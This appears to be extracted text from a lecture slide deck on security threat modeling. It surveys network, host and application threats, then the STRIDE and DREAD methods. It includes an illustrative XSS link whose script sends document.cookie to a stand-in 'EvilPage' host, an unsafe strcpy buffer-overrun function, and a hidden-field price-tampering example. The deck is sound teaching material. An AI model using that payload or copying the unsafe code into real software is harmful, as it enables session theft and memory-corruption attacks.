Security Threat Modeling Presented By, Nagaradhika. B
Session Agenda n n Types of threats Threats against the application ¨ ¨ ¨ n n n Buffer overrun Cross-site scripting Input tampering Session hijacking Identity Spoofing Information Disclosure Threat modeling Demo Conclusion
Common Types of Attack Organizational Attacks Hackers Automated Attacks Restricted Data Accidental Breaches in Security Viruses, Trojan Horses, and Worms Do. S Connection Fails Denial of Service (Do. S)
Types of Threats Network Host Threats against the network Spoofed packets, etc. Threats against the host Buffer overflows, illicit paths, etc. Threats against the application SQL injection, XSS, input tampering, etc. Application
Threats Against the Network Threat Information gathering Examples Port scanning Using trace routing to detect network topologies Using broadcast requests to enumerate subnet hosts Eavesdropping Using packet sniffers to steal passwords Denial of service (Do. S) SYN floods ICMP echo request floods Malformed packets Spoofing Packets with spoofed source addresses http: //msdn. microsoft. com/library/en-us/dnnetsec/html/THCMCh 15. asp? frame=true#c 15618429_004
Threats Against the Host Threat Examples Arbitrary code execution Buffer overflows in ISAPI DLLs (e. g. , MS 01 -033) Directory traversal attacks (MS 00 -078) File disclosure Malformed HTR requests (MS 01 -031) Virtualized UNC share vulnerability (MS 00 -019) Denial of service (Do. S) Malformed SMTP requests (MS 02 -012) Malformed Web. DAV requests (MS 01 -016) Malformed URLs (MS 01 -012) Brute-force file uploads Unauthorized access Resources with insufficiently restrictive ACLs Spoofing with stolen login credentials Exploitation of open ports and protocols Using Net. BIOS and SMB to enumerate hosts Connecting remotely to SQL Server
Threats Against the Application Threat Examples SQL injection Including a DROP TABLE command in text typed into an input field Cross-site scripting Using malicious client-side script to steal cookies Hidden-field tampering Maliciously changing the value of a hidden field Eavesdropping Using a packet sniffer to steal passwords and cookies from traffic on unencrypted connections Session hijacking Using a stolen session ID cookie to access someone else's session state Identity spoofing Using a stolen forms authentication cookie to pose as another user Information disclosure Allowing client to see a stack trace when an unhandled exception occurs
What Is a Buffer Overrun? n n n Occurs when data exceeds the expected size and overwrites other values Exists primarily in unmanaged C/C++ code Includes four types: Stack-based buffer overruns ¨ Heap overruns ¨ V-table and function pointer overwrites ¨ Exception handler overwrites ¨ n Can be exploited by worms
Possible Results of Buffer Overruns Possible Result Access violation Instability Code Injection Hacker’s Goal To perform denial of service attacks against servers To disrupt the normal operation of software To gain privileges for their own code To exploit vital business data To perform destructive actions
Stack-Based Buffer Overrun Example Top of Stack void Un. Safe (const char* unchecked. Data) { char[4] int char local. Variable[4]; int another. Local. Variable; strcpy (local. Variable, unchecked. Data); } Return address
Cross-Site Scripting (XSS) n Exploits applications that echo raw, unfiltered input to Web pages Input from <form> fields ¨ Input from query strings ¨ n The technique: Find a <form> field or query string parameter whose value is echoed to the Web page ¨ Enter malicious script and get an unwary user to navigate to the infected page ¨ n Steal cookies, deface and disable sites
How Cross-Site Scripting Works URL of the site targeted by the attack <a href="http: //…/Search. aspx? Search=<script language='javascript'> document. location. replace ('http: //localhost/Evil. Page. aspx? Cookie=‘ + document. cookie); </script>">…</a> Query string contains embedded Java. Script that redirects to attacker’s page and transmits cookies issued by Search. aspx in a query string
Hidden-Field Tampering n HTTP is a stateless protocol ¨ No built-in way to persist data from one request to the next n People are stateful beings ¨ Want data persisted between requests ¨ Shopping carts, user preferences, etc. Web developers sometimes use hidden fields to persist data between requests n Hidden fields are not really hidden! n
How HF Tampering Works type="hidden" prevents the field from being seen on the page but not in View Source Page contains this… <input type=“hidden” name="price" value="$10, 000"> Postback data should contain this… price="$10, 000" Instead it contains this… price="$1"
Session Hijacking n n n Web applications use sessions to store state Sessions are private to individual users Sessions can be compromised Threat Theft and replay of session ID cookies Links to sites that use cookieless session state Predictable session IDs Risk Factor High* Medium* Low* Remote connection to state server service Medium Remote connection to state server database Medium Eavesdropping on state server connection Medium * Shorter session time-outs mitigate the risk by reducing the attack window
Identity Spoofing n n n Security depends on authentication If authentication can be compromised, security goes out the window Authentication can be compromised Threat Risk Factor Theft of Windows authentication credentials High Theft of forms authentication credentials High Theft and replay of authentication cookies Medium* Dictionary attacks and password guessing High
Information Disclosure Which is the better error message?
Threat Modeling n n Structured approach to identifying, quantifying, and addressing threats Essential part of development process Just like specing and designing ¨ Just like coding and testing ¨ n n One technique presented here There are others (e. g. , OCTAVE)
The Threat Modeling Process 1 Identify assets 2 Document architecture 3 Decompose application 4 Identify threats 5 Document threats 6 Rate threats
1 Identifying Assets n What is it that you want to protect? Private data (e. g. , customer list) ¨ Proprietary data (e. g. , intellectual property) ¨ Potentially injurious data (e. g. , credit card numbers, decryption keys) ¨ n These also count as "assets" Integrity of back-end databases ¨ Integrity of the Web pages (no defacement) ¨ Integrity of other machines on the network ¨ Availability of the application ¨
2 Documenting Architecture n Define what the app does and how it's used Users view pages with catalog items ¨ Users perform searches for catalog items ¨ Users add items to shopping carts ¨ Users check out ¨ n Diagram the application Show subsystems ¨ Show data flow ¨ List assets ¨
Example Asset #1 Asset #2 Database Server Web Server Bob Bill Login Firewall Alice Asset #3 IIS ASP. NET Main State Asset #4 Asset #5 Asset #6
3 Decomposing the App n Refine the architecture diagram ¨ ¨ ¨ n Show authentication mechanisms Show authorization mechanisms Show technologies (e. g. , DPAPI) Diagram trust boundaries Identify entry points Begin to think like an attacker Where are my vulnerabilities? ¨ What am I going to do about them? ¨
Example Forms Authentication URL Authorization Web Server Trust Database Server Bob Bill Login Firewall Alice IIS ASP. NET Main State DPAPI Windows Authentication
4 Identifying Threats n Method #1: Threat lists Start with laundry list of possible threats ¨ Identify the threats that apply to your app ¨ n Method #2: STRIDE Categorized list of threat types ¨ Identify threats by type/category ¨ n Optionally draw threat trees Root nodes represent attacker's goals ¨ Trees help identify threat conditions ¨
STRIDE S Spoofing T Tampering R Repudiation I Information disclosure D Denial of service E Elevation of privilege Can an attacker gain access using a false identity? Can an attacker modify data as it flows through the application? If an attacker denies doing something, can we prove he did it? Can an attacker gain access to private or potentially injurious data? Can an attacker crash or reduce the availiability of the system? Can an attacker assume the identity of a privileged user?
Threat Trees Theft of Auth Cookies Obtain auth cookie to spoof identity OR AND Unencrypted Connection Eavesdropping Cookies travel over unencrypted HTTP Attacker uses sniffer to monitor HTTP traffic AND Cross-Site Scripting Attacker possesses means and knowledge XSS Vulnerability Application is vulnerable to XSS attacks
5 Documenting Threats n Document threats using a template Theft of Auth Cookies by Eavesdropping on Connection Threat target Connections between browsers and Web server Risk Attack techniques Attacker uses sniffer to monitor traffic Countermeasures Use SSL/TLS to encrypt traffic Theft of Auth Cookies via Cross-Site Scripting Threat target Vulnerable application code Risk Attack techniques Attacker sends e-mail with malicious link to users Countermeasures Validate input; HTML-encode output
6 Rating Threats n Simple model Risk = Probability 1 -10 Scale 1 = Least probable 10 = Most probable n * Damage Potential 1 -10 Scale 1 = Least damage 10 = Most damage DREAD model Greater granularization of threat potential ¨ Rates (prioritizes) each threat on scale of 1 -15 ¨ Developed and widely used by Microsoft ¨
DREAD D Damage potential R Reproducibility E Exploitability A Affected users D Discoverability What are the consequences of a successful exploit? Would an exploit work every time or only under certain circumstances? How skilled must an attacker be to exploit the vulnerability? How many users would be affected by a successful exploit? How likely is it that an attacker will know the vulnerability exists?
Example Threat D R E A D Sum Auth cookie theft (eavesdropping) 3 2 3 13 Auth cookie theft (XSS) 3 2 2 2 3 12 Potential for damage is high (spoofed identities, etc. ) Cookie can be stolen any time, but is only useful until expired Anybody can run a packet sniffer; XSS attacks require moderate skill All users could be affected, but in reality most won't click malicious links Easy to discover: just type a <script> block into a field Prioritized Risks
Summary n n n Without threat modelling, protecting yourself is like “shooting in the dark” You need expertise in understanding most common attacks – read security bulletins Developers must learn and use secure coding practices ¨ n Learn some crypto too Assume you are vulnerable, prove you are not
References http: //msdn. microsoft. com/security/securec ode/threatmodeling/default. aspx n http: //sec. cs. kent. ac. uk/cms 2004/Program/ CMS 2004 final/p 4 a 6. pdf n http: //cpd. ogi. edu/seminars 04/hickmanthre atmodeling. pdf n n Reference for threat modeling tool: http: //thesource. ofallevil. com/downloads/details. aspx? Family. ID=28 a 7 e 0418909 -4084 -8 b 05 -06 c 3135 e 2 a 16&displaylang=en
Скачать презентацию Security Threat Modeling Presented By Nagaradhika B
9eb35d796abec79783673ce6a669cd5d.ppt